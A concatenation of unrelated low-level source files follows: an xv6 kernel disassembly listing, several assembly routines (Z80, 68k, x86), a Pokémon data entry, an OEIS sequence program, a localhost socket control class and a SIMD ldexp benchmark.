10 80 movl $0x8010789e,(%esp) 80106b13: e8 48 98 ff ff call 80100360 <panic> 80106b18: 90 nop 80106b19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106b20 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz, uint stacksize) { 80106b20: 55 push %ebp 80106b21: 89 e5 mov %esp,%ebp 80106b23: 57 push %edi 80106b24: 56 push %esi 80106b25: 53 push %ebx 80106b26: 83 ec 2c sub $0x2c,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 80106b29: e8 12 ff ff ff call 80106a40 <setupkvm> 80106b2e: 85 c0 test %eax,%eax 80106b30: 89 45 e0 mov %eax,-0x20(%ebp) 80106b33: 0f 84 6b 01 00 00 je 80106ca4 <copyuvm+0x184> return 0; for(i = 0; i < sz; i += PGSIZE){ 80106b39: 8b 55 0c mov 0xc(%ebp),%edx 80106b3c: 85 d2 test %edx,%edx 80106b3e: 0f 84 ac 00 00 00 je 80106bf0 <copyuvm+0xd0> 80106b44: 31 db xor %ebx,%ebx 80106b46: eb 51 jmp 80106b99 <copyuvm+0x79> panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); 80106b48: 81 c7 00 00 00 80 add $0x80000000,%edi 80106b4e: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106b55: 00 80106b56: 89 7c 24 04 mov %edi,0x4(%esp) 80106b5a: 89 04 24 mov %eax,(%esp) 80106b5d: e8 ae d7 ff ff call 80104310 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) 80106b62: 8b 45 e4 mov -0x1c(%ebp),%eax 80106b65: 8d 96 00 00 00 80 lea -0x80000000(%esi),%edx 80106b6b: 89 54 24 0c mov %edx,0xc(%esp) 80106b6f: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106b76: 00 80106b77: 89 5c 24 04 mov %ebx,0x4(%esp) 80106b7b: 89 44 24 10 mov %eax,0x10(%esp) 80106b7f: 8b 45 e0 mov -0x20(%ebp),%eax 80106b82: 89 04 24 mov %eax,(%esp) 80106b85: e8 16 fa ff ff call 801065a0 <mappages> 80106b8a: 85 c0 test %eax,%eax 80106b8c: 78 4d js 80106bdb <copyuvm+0xbb> for(i = 0; i < sz; i += PGSIZE){ 80106b8e: 81 c3 00 10 00 00 add $0x1000,%ebx 80106b94: 39 5d 0c cmp %ebx,0xc(%ebp) 80106b97: 76 57 jbe 80106bf0 <copyuvm+0xd0> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 80106b99: 8b 45 08 mov 0x8(%ebp),%eax 80106b9c: 31 c9 xor %ecx,%ecx 80106b9e: 89 da mov %ebx,%edx 80106ba0: e8 0b f8 ff ff call 801063b0 <walkpgdir> 80106ba5: 85 c0 test %eax,%eax 80106ba7: 0f 84 0a 01 00 00 je 80106cb7 <copyuvm+0x197> if(!(*pte & PTE_P)) 80106bad: 8b 30 mov (%eax),%esi 80106baf: f7 c6 01 00 00 00 test $0x1,%esi 80106bb5: 0f 84 f0 00 00 00 je 80106cab <copyuvm+0x18b> pa = PTE_ADDR(*pte); 80106bbb: 89 f7 mov %esi,%edi flags = PTE_FLAGS(*pte); 80106bbd: 81 e6 ff 0f 00 00 and $0xfff,%esi 80106bc3: 89 75 e4 mov %esi,-0x1c(%ebp) pa = PTE_ADDR(*pte); 80106bc6: 81 e7 00 f0 ff ff and $0xfffff000,%edi if((mem = kalloc()) == 0) 80106bcc: e8 bf b8 ff ff call 80102490 <kalloc> 80106bd1: 85 c0 test %eax,%eax 80106bd3: 89 c6 mov %eax,%esi 80106bd5: 0f 85 6d ff ff ff jne 80106b48 <copyuvm+0x28> } return d; bad: freevm(d); 80106bdb: 8b 45 e0 mov -0x20(%ebp),%eax 80106bde: 89 04 24 mov %eax,(%esp) 80106be1: e8 da fd ff ff call 801069c0 <freevm> return 0; 80106be6: 31 c0 xor %eax,%eax } 80106be8: 83 c4 2c add $0x2c,%esp 80106beb: 5b pop %ebx 80106bec: 5e pop %esi 80106bed: 5f pop %edi 80106bee: 5d pop %ebp 80106bef: c3 ret for(i = PGROUNDUP(NEWKERNBASE - PGSIZE); stacksize > 0; i -= PGSIZE, stacksize--){ //may need to change, unsure 80106bf0: 8b 45 10 mov 0x10(%ebp),%eax 80106bf3: 85 c0 test %eax,%eax 80106bf5: 0f 84 9e 00 00 00 je 80106c99 <copyuvm+0x179> 80106bfb: bb 00 f0 ff 7f mov $0x7ffff000,%ebx 80106c00: eb 58 jmp 80106c5a <copyuvm+0x13a> 80106c02: 8d b6 00 00 00 00 lea 0x0(%esi),%esi memmove(mem, (char*)P2V(pa), PGSIZE); 80106c08: 81 c7 00 00 00 80 add $0x80000000,%edi 80106c0e: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106c15: 00 80106c16: 89 7c 24 04 mov %edi,0x4(%esp) 80106c1a: 89 04 24 mov %eax,(%esp) 80106c1d: e8 ee d6 ff ff call 80104310 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) 80106c22: 8b 45 e4 mov -0x1c(%ebp),%eax 80106c25: 8d 96 00 00 00 80 lea -0x80000000(%esi),%edx 80106c2b: 89 54 24 0c mov %edx,0xc(%esp) 80106c2f: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106c36: 00 80106c37: 89 5c 24 04 mov %ebx,0x4(%esp) 80106c3b: 89 44 24 10 mov %eax,0x10(%esp) 80106c3f: 8b 45 e0 mov -0x20(%ebp),%eax 80106c42: 89 04 24 mov %eax,(%esp) 80106c45: e8 56 f9 ff ff call 801065a0 <mappages> 80106c4a: 85 c0 test %eax,%eax 80106c4c: 78 8d js 80106bdb <copyuvm+0xbb> for(i = PGROUNDUP(NEWKERNBASE - PGSIZE); stacksize > 0; i -= PGSIZE, stacksize--){ //may need to change, unsure 80106c4e: 81 eb 00 10 00 00 sub $0x1000,%ebx 80106c54: 83 6d 10 01 subl $0x1,0x10(%ebp) 80106c58: 74 3f je 80106c99 <copyuvm+0x179> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) //this part is the same from the above for loop 80106c5a: 8b 45 08 mov 0x8(%ebp),%eax 80106c5d: 31 c9 xor %ecx,%ecx 80106c5f: 89 da mov %ebx,%edx 80106c61: e8 4a f7 ff ff call 801063b0 <walkpgdir> 80106c66: 85 c0 test %eax,%eax 80106c68: 74 4d je 80106cb7 <copyuvm+0x197> if(!(*pte & PTE_P)) 80106c6a: 8b 30 mov (%eax),%esi 80106c6c: f7 c6 01 00 00 00 test $0x1,%esi 80106c72: 74 37 je 80106cab <copyuvm+0x18b> pa = PTE_ADDR(*pte); 80106c74: 89 f7 mov %esi,%edi flags = PTE_FLAGS(*pte); 80106c76: 81 e6 ff 0f 00 00 and $0xfff,%esi 80106c7c: 89 75 e4 mov %esi,-0x1c(%ebp) pa = PTE_ADDR(*pte); 80106c7f: 81 e7 00 f0 ff ff and $0xfffff000,%edi if((mem = kalloc()) == 0) 80106c85: e8 06 b8 ff ff call 80102490 <kalloc> 80106c8a: 85 c0 test %eax,%eax 80106c8c: 89 c6 mov %eax,%esi 80106c8e: 0f 85 74 ff ff ff jne 80106c08 <copyuvm+0xe8> 80106c94: e9 42 ff ff ff jmp 80106bdb <copyuvm+0xbb> 80106c99: 8b 45 e0 mov -0x20(%ebp),%eax } 80106c9c: 83 c4 2c add $0x2c,%esp 80106c9f: 5b pop %ebx 80106ca0: 5e pop %esi 80106ca1: 5f pop %edi 80106ca2: 5d pop %ebp 80106ca3: c3 ret return 0; 80106ca4: 31 c0 xor %eax,%eax 80106ca6: e9 3d ff ff ff jmp 80106be8 <copyuvm+0xc8> panic("copyuvm: page not present"); 80106cab: c7 04 24 c2 78 10 80 movl $0x801078c2,(%esp) 80106cb2: e8 a9 96 ff ff call 80100360 <panic> panic("copyuvm: pte should exist"); 80106cb7: c7 04 24 a8 78 10 80 movl $0x801078a8,(%esp) 80106cbe: e8 9d 96 ff ff call 80100360 <panic> 80106cc3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106cc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106cd0 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80106cd0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106cd1: 31 c9 xor %ecx,%ecx { 80106cd3: 89 e5 mov %esp,%ebp 80106cd5: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 80106cd8: 8b 55 0c mov 0xc(%ebp),%edx 80106cdb: 8b 45 08 mov 0x8(%ebp),%eax 80106cde: e8 cd f6 ff ff call 801063b0 <walkpgdir> if((*pte & PTE_P) == 0) 80106ce3: 8b 00 mov (%eax),%eax 80106ce5: 89 c2 mov %eax,%edx 80106ce7: 83 e2 05 and $0x5,%edx return 0; if((*pte & PTE_U) == 0) 80106cea: 83 fa 05 cmp $0x5,%edx 80106ced: 75 11 jne 80106d00 <uva2ka+0x30> return 0; return (char*)P2V(PTE_ADDR(*pte)); 80106cef: 25 00 f0 ff ff and $0xfffff000,%eax 80106cf4: 05 00 00 00 80 add $0x80000000,%eax } 80106cf9: c9 leave 80106cfa: c3 ret 80106cfb: 90 nop 80106cfc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80106d00: 31 c0 xor %eax,%eax } 80106d02: c9 leave 80106d03: c3 ret 80106d04: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106d0a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106d10 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80106d10: 55 push %ebp 80106d11: 89 e5 mov %esp,%ebp 80106d13: 57 push %edi 80106d14: 56 push %esi 80106d15: 53 push %ebx 80106d16: 83 ec 1c sub $0x1c,%esp 80106d19: 8b 5d 14 mov 0x14(%ebp),%ebx 80106d1c: 8b 4d 0c mov 0xc(%ebp),%ecx 80106d1f: 8b 7d 10 mov 0x10(%ebp),%edi char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80106d22: 85 db test %ebx,%ebx 80106d24: 75 3a jne 80106d60 <copyout+0x50> 80106d26: eb 68 jmp 80106d90 <copyout+0x80> va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80106d28: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106d2b: 89 f2 mov %esi,%edx if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); 80106d2d: 89 7c 24 04 mov %edi,0x4(%esp) n = PGSIZE - (va - va0); 80106d31: 29 ca sub %ecx,%edx 80106d33: 81 c2 00 10 00 00 add $0x1000,%edx 80106d39: 39 da cmp %ebx,%edx 80106d3b: 0f 47 d3 cmova %ebx,%edx memmove(pa0 + (va - va0), buf, n); 80106d3e: 29 f1 sub %esi,%ecx 80106d40: 01 c8 add %ecx,%eax 80106d42: 89 54 24 08 mov %edx,0x8(%esp) 80106d46: 89 04 24 mov %eax,(%esp) 80106d49: 89 55 e4 mov %edx,-0x1c(%ebp) 80106d4c: e8 bf d5 ff ff call 80104310 <memmove> len -= n; buf += n; 80106d51: 8b 55 e4 mov -0x1c(%ebp),%edx va = va0 + PGSIZE; 80106d54: 8d 8e 00 10 00 00 lea 0x1000(%esi),%ecx buf += n; 80106d5a: 01 d7 add %edx,%edi while(len > 0){ 80106d5c: 29 d3 sub %edx,%ebx 80106d5e: 74 30 je 80106d90 <copyout+0x80> pa0 = uva2ka(pgdir, (char*)va0); 80106d60: 8b 45 08 mov 0x8(%ebp),%eax va0 = (uint)PGROUNDDOWN(va); 80106d63: 89 ce mov %ecx,%esi 80106d65: 81 e6 00 f0 ff ff and $0xfffff000,%esi pa0 = uva2ka(pgdir, (char*)va0); 80106d6b: 89 74 24 04 mov %esi,0x4(%esp) va0 = (uint)PGROUNDDOWN(va); 80106d6f: 89 4d e4 mov %ecx,-0x1c(%ebp) pa0 = uva2ka(pgdir, (char*)va0); 80106d72: 89 04 24 mov %eax,(%esp) 80106d75: e8 56 ff ff ff call 80106cd0 <uva2ka> if(pa0 == 0) 80106d7a: 85 c0 test %eax,%eax 80106d7c: 75 aa jne 80106d28 <copyout+0x18> } return 0; } 80106d7e: 83 c4 1c add $0x1c,%esp return -1; 80106d81: b8 ff ff ff ff mov $0xffffffff,%eax } 80106d86: 5b pop %ebx 80106d87: 5e pop %esi 80106d88: 5f pop %edi 80106d89: 5d pop %ebp 80106d8a: c3 ret 80106d8b: 90 nop 80106d8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106d90: 83 c4 1c add $0x1c,%esp return 0; 80106d93: 31 c0 xor %eax,%eax } 80106d95: 5b pop %ebx 80106d96: 5e pop %esi 80106d97: 5f pop %edi 80106d98: 5d pop %ebp 80106d99: c3 ret 80106d9a: 66 90 xchg %ax,%ax 80106d9c: 66 90 xchg %ax,%ax 80106d9e: 66 90 xchg %ax,%ax 80106da0 <shminit>: char *frame; int refcnt; } shm_pages[64]; } shm_table; void shminit() { 80106da0: 55 push %ebp 80106da1: 89 e5 mov %esp,%ebp 80106da3: 83 ec 18 sub $0x18,%esp int i; initlock(&(shm_table.lock), "SHM lock"); 80106da6: c7 44 24 04 00 79 10 movl $0x80107900,0x4(%esp) 80106dad: 80 80106dae: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp) 80106db5: e8 86 d2 ff ff call 80104040 <initlock> acquire(&(shm_table.lock)); 80106dba: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp) 80106dc1: e8 6a d3 ff ff call 80104130 <acquire> 80106dc6: b8 f4 55 11 80 mov $0x801155f4,%eax 80106dcb: 90 nop 80106dcc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for (i = 0; i< 64; i++) { shm_table.shm_pages[i].id =0; 80106dd0: c7 00 00 00 00 00 movl $0x0,(%eax) 80106dd6: 83 c0 0c add $0xc,%eax shm_table.shm_pages[i].frame =0; 80106dd9: c7 40 f8 00 00 00 00 movl $0x0,-0x8(%eax) shm_table.shm_pages[i].refcnt =0; 80106de0: c7 40 fc 00 00 00 00 movl $0x0,-0x4(%eax) for (i = 0; i< 64; i++) { 80106de7: 3d f4 58 11 80 cmp $0x801158f4,%eax 80106dec: 75 e2 jne 80106dd0 <shminit+0x30> } release(&(shm_table.lock)); 80106dee: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp) 80106df5: e8 26 d4 ff ff call 80104220 <release> } 80106dfa: c9 leave 80106dfb: c3 ret 80106dfc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106e00 <shm_open>: int shm_open(int id, char **pointer) { 80106e00: 55 push %ebp return 0; //added to remove compiler warning -- you should decide what to return } 80106e01: 31 c0 xor %eax,%eax int shm_open(int id, char **pointer) { 80106e03: 89 e5 mov %esp,%ebp } 80106e05: 5d pop %ebp 80106e06: c3 ret 80106e07: 89 f6 mov %esi,%esi 80106e09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106e10 <shm_close>: int shm_close(int id) { 80106e10: 55 push %ebp return 0; //added to remove compiler warning -- you should decide what to return } 80106e11: 31 c0 xor %eax,%eax int shm_close(int id) { 80106e13: 89 e5 mov %esp,%ebp } 80106e15: 5d pop %ebp 80106e16: c3 ret
; Test case: ld a,1 ; should be optimized (easy case) ld a,1 ld (val),a ld a,1 ; should also be optimized (harder case) ld (val2),a l2: ld a,2 ; this one should have the label kept! ld (val),a nop ld a,2 ; this one should be optimized ld (val),a ld a,3 ld (val),a l3: nop ld a,3 ; this one should not be optimized because of the label ld (val),a ld a,4 ld (val),a nop l4: ld a,4 ; this one should not be optimized because of the label ld (val),a ld a,5 ld (val),a nop ld a,5 ; this one should be optimized l5: ld (val),a end: jr end val: db 0 val2: db 0
db "SUN@" ; species name db "As the hot season" next "approaches, the" next "petals on this" page "#MON's face" next "become more vivid" next "and lively.@"
Name: ys_chip7.asm Type: file Size: 38906 Last-Modified: '2016-05-13T04:50:32Z' SHA-1: 4585360FB4DACB01E02230CE77D4199E94DF1BA5 Description: null
; Pointer do button 3 press V2.10  1999 Tony Tebby section ptr xdef pt_button3 xref ioq_pbyt include 'dev8_keys_con' include 'dev8_keys_sys' include 'dev8_smsq_smsq_base_keys' ;+++ ; This should be called from any mouse interrup or polling routine to ; handle mouse button 3 presses ; ; status return 0 ;--- pt_button3 pb3.reg reg d1/a1/a2/a3 movem.l pb3.reg,-(sp) move.l sms.sysb,a3 move.l sys_clnk(a3),d0 beq.s pb3_exit move.l sys_ckyq(a3),a2 ; stuff in here move.l d0,a3 ; console linkage tas pt_lstuf(a3) ; was last press a stuff? (this one is) blt.s pb3_exit ; yes, don't do another move.b pt_stuf1(a3),d1 ; get first character beq.s pb3_exit ; isn't one jsr ioq_pbyt ; there is one, stuff it move.b pt_stuf2(a3),d1 ; is there another? beq.s pb3_exit jsr ioq_pbyt ; put next byte in queue pb3_exit moveq #0,d0 movem.l (sp)+,pb3.reg rts end
; A052913: a(n+2) = 5*a(n+1) - 2*a(n), with a(0) = 1, a(1) = 4. ; 1,4,18,82,374,1706,7782,35498,161926,738634,3369318,15369322,70107974,319801226,1458790182,6654348458,30354161926,138462112714,631602239718,2881086973162,13142230386374,59948977985546,273460429154982,1247404189803818,5690100090709126,25955692073937994,118398260188271718,540079916793482602,2463603063590869574,11237855484367382666,51262071294655174182,233834645504541105578,1066649084933395179526,4865576133657893686474,22194582498422678073318,101241760224797602993642,461819636127142658821574 mov $1,1 lpb $0 sub $0,1 add $2,$1 add $1,$2 mul $1,2 lpe mov $0,$1
; BEGIN_LEGAL ; Intel Open Source License ; ; Copyright (c) 2002-2017 Intel Corporation. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are ; met: ; ; Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. Redistributions ; in binary form must reproduce the above copyright notice, this list of ; conditions and the following disclaimer in the documentation and/or ; other materials provided with the distribution. Neither the name of ; the Intel Corporation nor the names of its contributors may be used to ; endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR ; ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; END_LEGAL PUBLIC ReadFlags_asm .686 .model flat, c .code ReadFlags_asm PROC pushfd pop eax ret ReadFlags_asm ENDP end
// Copyright (c) 2013-2016 Bluespec, Inc. All Rights Reserved /* Acknowledgement: portions adapted from example ECHOSERV ECHOSERV (c) Paul Griffiths, 1999 http://www.paulgriffiths.net/program/c/echoserv.php */ // ================================================================ // C lib includes #include <sys/socket.h> /* socket definitions */ #include <sys/types.h> /* socket types */ #include <arpa/inet.h> /* inet (3) funtions */ #include <poll.h> #include <fcntl.h> /* To set non-blocking mode */ #include <unistd.h> #include <stdint.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <iostream> #include <sstream> #include <cstdio> // ================================================================ // Local includes #include "SocketLuminaControl.hpp" // ================================================================ enum RdBackControlReqType { Reserved0, Reserved1, Reserved2, Reserved3, Reserved4, Reserved5, RdBackCmd, RdBackStore }; class RdBackControlReq { private: RdBackControlReqType m_type; unsigned int m_data; public: RdBackControlReq (RdBackControlReqType type, unsigned int data) : m_type(type) , m_data(data) { unsigned int maxdata = 1 << 29; if (data >= maxdata) { std::cerr << "Error: RdBackControlReq data too large: " << std::dec << data << ". Must be less than " << maxdata << std::endl; m_data = maxdata - 1 ; } } RdBackControlReq () : m_type(Reserved0) , m_data(0) { } unsigned int getBits() const { unsigned int data = m_data & 0x1FFFFFFF; data = data | ((m_type & 0x7) << 29); return data; } static const char * toString (const RdBackControlReqType & c) { switch (c) { case Reserved0: return "Reserved0: " ; break ; case Reserved1: return "Reserved1: " ; break ; case Reserved2: return "Reserved2: " ; break ; case Reserved3: return "Reserved3: " ; break ; case Reserved4: return "Reserved4:" ; break ; case Reserved5: return "Reserved5:" ; break ; case RdBackCmd: return "RdBackCmd:" ; break ; case RdBackStore: return "RdBackStore:" ; break ; } return "ERROR: RdBackControlReqType enum" ; } friend std::ostream & operator<< (std::ostream &os, const RdBackControlReq &req) { os << "{RdBackControlReq " << toString(req.m_type) << " cnt " << std::dec << req.m_data << "}" ; return os ; } }; // ================================================================ SocketLuminaControl::SocketLuminaControl(const unsigned int port) : LuminaControl() { // --------------- // Connect to the server socket // Create the socket if ( (m_sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0 ) { throw std::string("socket() failed"); } struct sockaddr_in servaddr; // socket address structure // Initialize socket address structure memset (& servaddr, 0, sizeof (servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons (port); /* // Set the remote IP address if (inet_aton (server_host, & servaddr.sin_addr) <= 0 ) { fprintf (stderr, "ERROR: _open (): Invalid remote IP address.\n"); return -1; } */ servaddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); // connect() to the remote server if (connect (m_sockfd, (struct sockaddr *) &servaddr, sizeof(servaddr) ) < 0 ) { throw std::string("connect() failed"); } } SocketLuminaControl::~SocketLuminaControl() { if (m_sockfd > 0) close(m_sockfd); } void SocketLuminaControl::write_word(uint32_t w) { int pkt_size = 4; uint8_t write_buf[pkt_size]; int n_write = 0; write_buf[3] = (uint8_t)( w & 0xFF ); write_buf[2] = (uint8_t)( (w >> 8) & 0xFF ); write_buf[1] = (uint8_t)( (w >> 16) & 0xFF ); write_buf[0] = (uint8_t)( (w >> 24) & 0xFF ); while (n_write < pkt_size) { ssize_t n = write(m_sockfd, & (write_buf [n_write]), (pkt_size - n_write)); if (n < 0) { if ((errno != EAGAIN) && (errno != EWOULDBLOCK)) { std::cout << "write() failed: " << strerror(errno) << std::endl; exit(1); //throw std::string ("write() failed"); } } else { n_write += n; } } //std::cout << "==> WRITE: " << std::hex << w << std::endl; } uint32_t SocketLuminaControl::read_word(void) { int pkt_size = 4; uint8_t read_buf[pkt_size]; int n_read = 0; struct pollfd fds[1]; fds[0].fd = m_sockfd; fds[0].events = POLLIN; while (n_read < pkt_size) { int p = poll(fds, 1, -1); if (p > 0) { // Data from hardware if (fds[0].revents & POLLIN) { int n = read (m_sockfd, & (read_buf [n_read]), (pkt_size - n_read)); //std::cout << "READ: " << std::dec << n << std::endl; if (n < 0) { if ((errno != EAGAIN) && (errno != EWOULDBLOCK)) { std::cout << "read() failed: " << strerror(errno) << std::endl; exit(1); //throw std::string ("read() failed"); } } else if (n == 0) { // XXX indicates closed connection? std::cout << "read() connection closed" << std::endl; exit(1); //throw std::string ("read() connection closed"); } else { n_read += n; } } } else if (p < 0) { std::cout << "poll() failed: " << strerror(errno) << std::endl; exit(1); //throw (std::string("poll failed: " + std::string(strerror(errno)))); } } // while (true) uint32_t w = ( ((uint32_t)(read_buf[3]) & 0xFF) ) | ( ((uint32_t)(read_buf[2]) & 0xFF) << 8 ) | ( ((uint32_t)(read_buf[1]) & 0xFF) << 16 ) | ( ((uint32_t)(read_buf[0]) & 0xFF) << 24 ); //std::cout << "==> REQ: " << std::hex << w << std::endl; return w; } bool SocketLuminaControl::readState() { if (m_sockfd < 0) return false; bool debug = false; unsigned int end_of_data; std::cout << "readState" << std::endl; // Send a request for a Readback response packet write_word( RdBackControlReq(RdBackCmd,8).getBits() ); if (debug) printf("Request sent\n"); do { uint32_t data = read_word(); if (debug) printf("Data received: %x\n", (unsigned int)data); // give the word to the Readback core end_of_data = m_rdbackCallback(m_rdbackCallbackParm, (unsigned int)data); if (debug) if (end_of_data) printf("LAST\n"); } while (! end_of_data); return true; } bool SocketLuminaControl::sendRdBackClear () { if (m_sockfd < 0) return false; unsigned int code = 0; RdBackControlReq req(RdBackCmd, code); write_word( req.getBits() ); return true; } bool SocketLuminaControl::sendRdBackStore (unsigned int code) { if (m_sockfd < 0) return false; RdBackControlReq req(RdBackStore, code); write_word( req.getBits() ); return true; } bool SocketLuminaControl::sendRdBackFinish (unsigned int config) { if (m_sockfd < 0) return false; unsigned int code = (config & 0x7FFFFFF) | (1<<27); RdBackControlReq req(RdBackCmd, code); write_word( req.getBits() ); return true; } bool SocketLuminaControl::sendRdBackBreakCode (unsigned int config) { if (m_sockfd < 0) return false; unsigned int code = (config & 0xFFFF) | (1<<28); RdBackControlReq req(RdBackCmd, code); write_word( req.getBits() ); return true; } // ================================================================
; void __CALLEE__ *sp1_PreShiftSpr_callee(uchar flag, uchar height, uchar width, void *srcframe, void *destframe, uchar rshift) ; 05.2006 aralbrec, Sprite Pack v3.0 ; sinclair spectrum version XLIB sp1_PreShiftSpr_callee XDEF ASMDISP_SP1_PRESHIFTSPR_CALLEE .sp1_PreShiftSpr_callee pop af pop bc pop iy pop de pop hl ld b,l pop hl pop ix push af ld a,ixl ld h,a ld a,c .asmentry ; enter : a = right shift amount (0-7) ; b = width in characters (# columns) ; h = zero for 1-byte definition; otherwise 2-byte ; de = source frame graphic ; iy = destination frame address ; l = height in characters ; exit : hl = next available address ; uses : af, bc, de, hl, af', iy .SP1PreShiftSpr and $07 inc a ld c,a ; c = right shift amount + 1 ld a,l inc h dec h ld hl,dummy1byte ; point at two 0 bytes if 1-byte def jr z, onebyte add a,a ld hl,dummy2byte ; point at (255,0) pair if 2-byte def .onebyte add a,a add a,a add a,a ; a = # bytes in graphic definition in each column .dofirstcol ; first column has no graphics on left, will use dummy bytes for left push af ; save height of column in bytes push de ; save top of first column .firstcolloop ex af,af ; a' = pixel height push bc ; save width and rotation amount ld b,c ; b = right shift + 1 ld c,(hl) ; c = graphic byte from col on left ld a,1 xor l ld l,a ld a,(de) ; a = graphic byte in current col inc de djnz firstsloop jp firstdoneshift .firstsloop rr c rra djnz firstsloop .firstdoneshift ld (iy+0),a ; store shifted graphic in destination frame inc iy pop bc ex af,af dec a jr nz, firstcolloop pop hl pop af djnz nextcol push iy pop hl ret .nextcol ; do rest of columns push af push de ; a = height in pixels ; de = graphic definition for this column ; hl = graphic definition for column to left ; b = width remaining in characters ; c = right shift amount + 1 .colloop ex af,af push bc ld b,c ld a,(de) inc de ld c,(hl) inc hl djnz sloop jp doneshift .sloop rr c rra djnz sloop .doneshift ld (iy+0),a inc iy pop bc ex af,af dec a jr nz, colloop pop hl pop af djnz nextcol push iy pop hl ret defb 0 .dummy1byte defb 0,0 .dummy2byte defb 255,0 DEFC ASMDISP_SP1_PRESHIFTSPR_CALLEE = asmentry - sp1_PreShiftSpr_callee
//============================================================================== // Copyright 2003 - 2012 LASMEA UMR 6602 CNRS/Univ. Clermont II // Copyright 2009 - 2012 LRI UMR 8623 CNRS/Univ Paris Sud XI // // Distributed under the Boost Software License, Version 1.0. // See accompanying file LICENSE.txt or copy at // http://www.boost.org/LICENSE_1_0.txt //============================================================================== #define NT2_BENCH_MODULE "nt2 ieee toolbox - ldexp/simd Mode" ////////////////////////////////////////////////////////////////////////////// // timing Test behavior of ieee components in simd mode ////////////////////////////////////////////////////////////////////////////// #include <nt2/ieee/include/functions/ldexp.hpp> #include <boost/simd/sdk/simd/native.hpp> #include <nt2/sdk/bench/benchmark.hpp> #include <nt2/sdk/bench/timing.hpp> #include <boost/dispatch/meta/as_integer.hpp> #include <cmath> typedef NT2_SIMD_DEFAULT_EXTENSION ext_t; ////////////////////////////////////////////////////////////////////////////// // simd runtime benchmark for functor<ldexp_> from ieee ////////////////////////////////////////////////////////////////////////////// using nt2::tag::ldexp_; ////////////////////////////////////////////////////////////////////////////// // range macro ////////////////////////////////////////////////////////////////////////////// #define RS(T,V1,V2) (T, (V1) ,(V2)) namespace n1 { typedef float T; typedef boost::dispatch::meta::as_integer<T>::type iT; typedef boost::simd::meta::vector_of<T, BOOST_SIMD_BYTES/sizeof(T)>::type vT; typedef boost::simd::native<iT,ext_t> viT; NT2_TIMING(ldexp_,(RS(vT,T(-10),T(10)))(RS(viT,iT(-10),iT(10)))) } namespace n2 { typedef double T; typedef boost::dispatch::meta::as_integer<T>::type iT; typedef boost::simd::meta::vector_of<T, BOOST_SIMD_BYTES/sizeof(T)>::type vT; typedef boost::simd::native<iT,ext_t> viT; NT2_TIMING(ldexp_,(RS(vT,T(-10),T(10)))(RS(viT,iT(-10),iT(10)))) } #undef RS
